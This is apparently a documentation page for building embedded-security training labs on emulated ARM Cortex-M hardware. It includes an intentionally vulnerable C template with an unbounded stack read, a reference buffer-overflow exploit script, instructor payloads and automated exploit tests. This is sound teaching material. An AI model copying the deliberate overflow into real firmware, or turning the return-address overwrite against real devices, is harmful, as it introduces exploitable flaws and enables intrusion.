Skip to content

Creating Labs

This guide walks through the complete process of creating a new embedded security lab for the EmbSec Kit.

Prerequisites

Before creating a lab, ensure you have:

  • Working development environment (see Installation Guide)
  • Familiarity with ARM assembly and embedded C
  • Understanding of the target vulnerability type
  • Clear learning objectives defined

Step 1: Planning Your Lab

Define Learning Objectives

Each lab should teach specific concepts:

  • Primary vulnerability type (e.g., buffer overflow, format string)
  • Exploitation technique (e.g., return address overwrite, GOT overwrite)
  • Debugging skills (e.g., memory examination, register analysis)
  • Mitigation strategies (e.g., stack canaries, ASLR)

Choose Difficulty Level

  • Easy: Single vulnerability, clear path to exploitation
  • Medium: Multiple steps, requires analysis and planning
  • Hard: Complex vulnerability chains, anti-debugging, obfuscation

Design Constraints

Consider hardware limitations:

  • Flash size: ~16KB typical lab size
  • RAM: 4KB available for stack/heap
  • No MMU: Cannot rely on memory protections
  • Thumb mode: Most code runs in Thumb instruction set

Step 2: Create Lab Structure

Copy Template

cd labs/
cp -r template/ 03-your-lab-name/
cd 03-your-lab-name/

Directory Structure

03-your-lab-name/
├── CMakeLists.txt        # Build configuration
├── INSTRUCTOR.md         # Private instructor notes
├── README.md            # Student-facing documentation
├── metadata.yml         # Lab metadata and configuration
├── src/
│   └── main.c          # Main lab implementation
├── solution/
│   ├── exploit.py      # Reference exploit
│   └── writeup.md      # Detailed solution
└── tests/
    └── test_lab.py     # Automated tests

Step 3: Configure Build System

Edit CMakeLists.txt

embsec_add_lab(
    NAME 03-your-lab-name
    SALT "unique_salt_value_2024_xyz"  # Must be unique!
    DEFINITIONS
        BUFFER_SIZE=64
        ENABLE_DEBUG_INFO=1
        CUSTOM_FLAG="value"
)

Key Configuration Options

  • NAME: Must match directory name
  • SALT: Unique string for flag generation (keep secret!)
  • DEFINITIONS: Compile-time configuration values
  • SOURCES: Additional source files (if needed)

Step 4: Implement the Vulnerability

Basic Structure (src/main.c)

#include <embsec/embsec.h>

// Global variables for state
static volatile uint32_t auth_level = 0;
static char user_buffer[BUFFER_SIZE];

// Vulnerable function
static void vulnerable_function(void) {
    char local_buffer[32];

    uart_puts("Enter input: ");
    uart_gets(local_buffer);  // No bounds checking!

    // Process input...
}

// Target function (goal of exploit)
static void win_function(void) {
    generate_flag();
    uart_printf("Success! Flag: %s\n", embsec_flag);
}

// Menu system
static void show_menu(void) {
    uart_puts("\n=== Lab Menu ===\n");
    uart_puts("1. Trigger vulnerability\n");
    uart_puts("2. Show debug info\n");
    uart_puts("3. Exit\n");
    uart_puts("Choice: ");
}

int main(void) {
    system_init();
    uart_init();

    uart_puts("\nEmbSec Lab: Your Lab Name\n");
    uart_puts("University of the Midwest\n\n");

    while (1) {
        show_menu();
        char choice = uart_getc();
        uart_putc(choice);
        uart_puts("\n");

        switch (choice) {
            case '1':
                vulnerable_function();
                break;
            case '2':
                show_debug_info();
                break;
            case '3':
                return 0;
        }
    }
}

Implementation Guidelines

Memory Layout Considerations

// Provide debug information for students
static void show_debug_info(void) {
    char buffer[32];
    uint32_t sp;

    __asm__("mov %0, sp" : "=r"(sp));

    uart_printf("Buffer address: 0x%08x\n", (uint32_t)buffer);
    uart_printf("Stack pointer: 0x%08x\n", sp);
    uart_printf("Win function: 0x%08x\n", (uint32_t)win_function | 1);
}

Safe Vulnerability Implementation

// DO: Controlled vulnerability
void controlled_overflow(void) {
    char buffer[64];
    size_t len = uart_gets(buffer);  // Returns actual length

    if (len > sizeof(buffer)) {
        // Log for debugging but continue
        uart_puts("[DEBUG] Overflow detected\n");
    }
}

// DON'T: Uncontrolled crash
void bad_implementation(void) {
    char buffer[64];
    strcpy(buffer, user_input);  // Could corrupt critical data
}

Flag Generation

// Use the SDK's flag generation
#include <embsec/flag.h>

void reveal_flag(void) {
    generate_flag();  // Uses LAB_NAME and LAB_SALT
    uart_printf("Flag: %s\n", embsec_flag);
}

Step 5: Create Metadata

Edit metadata.yml

name: 03-your-lab-name
display_name: "Your Lab Display Name"
description: "Brief description of the vulnerability and learning goals"
category: "Memory Corruption"  # or "Logic", "Crypto", etc.
difficulty: "Medium"
points: 200
author: "Your Name"
version: "1.0.0"

objectives:
  - "Identify and exploit buffer overflow vulnerability"
  - "Bypass stack protections"
  - "Achieve arbitrary code execution"

prerequisites:
  - "Understanding of stack layout"
  - "Basic ARM assembly"
  - "GDB debugging skills"

tags:
  - buffer-overflow
  - stack-exploitation
  - arm-cortex-m

resources:
  flash: 16384
  ram: 4096
  peripherals:
    - UART0
    - TIMER0

testing:
  timeout: 30
  qemu_args: "-nographic"

flag:
  salt: "unique_salt_value_2024_xyz"  # Must match CMakeLists.txt
  prefix: "embsec"

hints:
  - cost: 0
    text: "Use the debug menu to find important addresses"
  - cost: 50
    text: "The return address is stored on the stack"
  - cost: 100
    text: "Remember ARM Thumb mode requires LSB=1 for function pointers"

Step 6: Write Student Documentation

Edit README.md

# Lab Name

## Introduction
Brief overview of the lab and what students will learn.

## Learning Objectives

- Objective 1
- Objective 2
- Objective 3

## Background
Technical background needed for the lab:

- Vulnerability type explanation
- Relevant ARM architecture details
- Related security concepts

## Setup
```bash
# Build the lab
cd build-qemu
make 03-your-lab-name

# Run in QEMU
qemu-system-arm -M lm3s6965evb -kernel labs/03-your-lab-name/03-your-lab-name -nographic

The Challenge

Description of what students need to accomplish.

Tools You'll Need

  • ARM GDB
  • Python 3 for exploit development
  • Hex editor (optional)

Hints

  • Start by exploring the menu options
  • Use debugging features to understand memory layout
  • Pay attention to function addresses

Submission

Submit your exploit script that successfully retrieves the flag.

## Step 7: Develop Reference Solution

### solution/exploit.py
```python
#!/usr/bin/env python3
"""
Reference exploit for Lab 03
Demonstrates buffer overflow to redirect execution
"""

import struct
import sys
import time

def p32(addr):
    """Pack 32-bit address (little-endian)"""
    return struct.pack("<I", addr)

def main():
    # Configuration
    BUFFER_SIZE = 64
    TARGET_FUNC = 0x00001234  # From debug output

    # Build payload
    payload = b"A" * BUFFER_SIZE  # Fill buffer
    payload += b"B" * 8          # Saved registers
    payload += p32(TARGET_FUNC | 1)  # Return address (Thumb bit!)

    # Send exploit
    print("1")  # Select vulnerable option
    sys.stdout.buffer.write(payload + b"\n")
    sys.stdout.flush()

    # Wait for flag
    time.sleep(1)

if __name__ == "__main__":
    main()

solution/writeup.md

# Solution Writeup

## Vulnerability Analysis
The vulnerability is a classic stack buffer overflow in `vulnerable_function()`.

### Key Observations

1. Local buffer is 32 bytes
2. No bounds checking on input
3. Return address stored on stack
4. Win function at 0x00001234

## Exploitation Strategy

1. Fill the buffer (32 bytes)
2. Overwrite saved frame pointer (4 bytes)
3. Overwrite return address with win function

## Important Notes

- ARM Thumb mode requires LSB=1 in function pointers
- Stack is executable (no NX)
- No stack canaries present

## Exploit Development
[Detailed steps with code snippets]

Step 8: Implement Tests

tests/test_lab.py

#!/usr/bin/env python3
"""
Automated tests for Lab 03
"""

import sys
import os
sys.path.append(os.path.join(os.path.dirname(__file__), '../../common'))

from test_framework import BufferOverflowTestBase, p32

class TestLab03(BufferOverflowTestBase):
    LAB_NAME = "03-your-lab-name"
    BUFFER_SIZE = 64
    EXPECTED_MENU_OPTIONS = [
        "Lab Menu",
        "1. Trigger vulnerability",
        "2. Show debug info",
        "3. Exit"
    ]

    def get_exploit_payload(self, target, offset):
        """Generate the buffer overflow payload"""
        payload = b"A" * offset
        payload += p32(target)
        return payload + b"\n"

    def test_custom_behavior(self):
        """Test lab-specific functionality"""
        self.start_qemu()
        output = self.get_menu_choice("2")

        # Verify debug info is present
        self.assertIn("Buffer address:", output)
        self.assertIn("Win function:", output)

if __name__ == "__main__":
    import unittest
    unittest.main()

Step 9: Write Instructor Notes

INSTRUCTOR.md

# Lab 03: Your Lab Name

## Quick Reference
**Vulnerability**: Buffer overflow in `vulnerable_function()` at line 45
**Key addresses**: 

- Buffer: Stack-allocated, varies
- Win function: 0x00001234 (fixed)
**Critical detail**: Remember Thumb bit (OR with 1)

## Solution
```python
# Minimal exploit
payload = b"A" * 64 + b"B" * 8 + b"\x35\x12\x00\x00"

Common Issues

  1. Forgot Thumb bit: Add | 1 to function address
  2. Wrong offset: Use debug info to calculate
  3. Newline missing: Exploit needs \n terminator

Debugging Help

  • Symptom: "Illegal instruction" → Check: Thumb bit set?
  • Symptom: Crashes but no flag → Check: Exact offset
  • Symptom: Nothing happens → Check: Input length

Testing

# Quick test
python3 tests/test_lab.py

# Manual verification
python3 solution/exploit.py | qemu-system-arm -M lm3s6965evb -kernel build/labs/03-your-lab-name/03-your-lab-name -nographic
## Step 10: Integration and Testing

### Add to labs/CMakeLists.txt
The `embsec_add_labs_directory()` function will automatically detect your new lab.

### Build and Test
```bash
cd build-qemu
cmake --build . --target 03-your-lab-name
python3 ../labs/03-your-lab-name/tests/test_lab.py

Run Exploit

python3 ../labs/03-your-lab-name/solution/exploit.py | \
  qemu-system-arm -M lm3s6965evb \
  -kernel labs/03-your-lab-name/03-your-lab-name \
  -nographic

Best Practices Summary

DO:

  • Provide clear debug information
  • Make vulnerabilities deterministic
  • Include comprehensive tests
  • Document ARM-specific details
  • Test on multiple platforms

DON'T:

  • Create random/non-deterministic behavior
  • Implement anti-debugging (unless that's the point)
  • Make exploitation platform-dependent
  • Forget about Thumb mode
  • Leave hardcoded absolute addresses

Troubleshooting

Common Build Issues

  • Salt not unique: Each lab needs unique salt
  • Missing includes: Add to CMakeLists.txt SOURCES
  • Link errors: Check symbol visibility

Common Runtime Issues

  • QEMU crashes: Check memory access patterns
  • No output: Verify UART initialization
  • Wrong flag: Check salt configuration

Testing Issues

  • Tests timeout: Increase timeout in metadata.yml
  • Non-deterministic: Add delays or synchronization
  • Platform differences: Use portable constructs

Next Steps

  1. Peer Review: Have another instructor test your lab
  2. Student Testing: Run pilot with small group
  3. Documentation: Ensure README is student-friendly
  4. CI/CD: Verify automated tests pass
  5. Release: Tag version and create release notes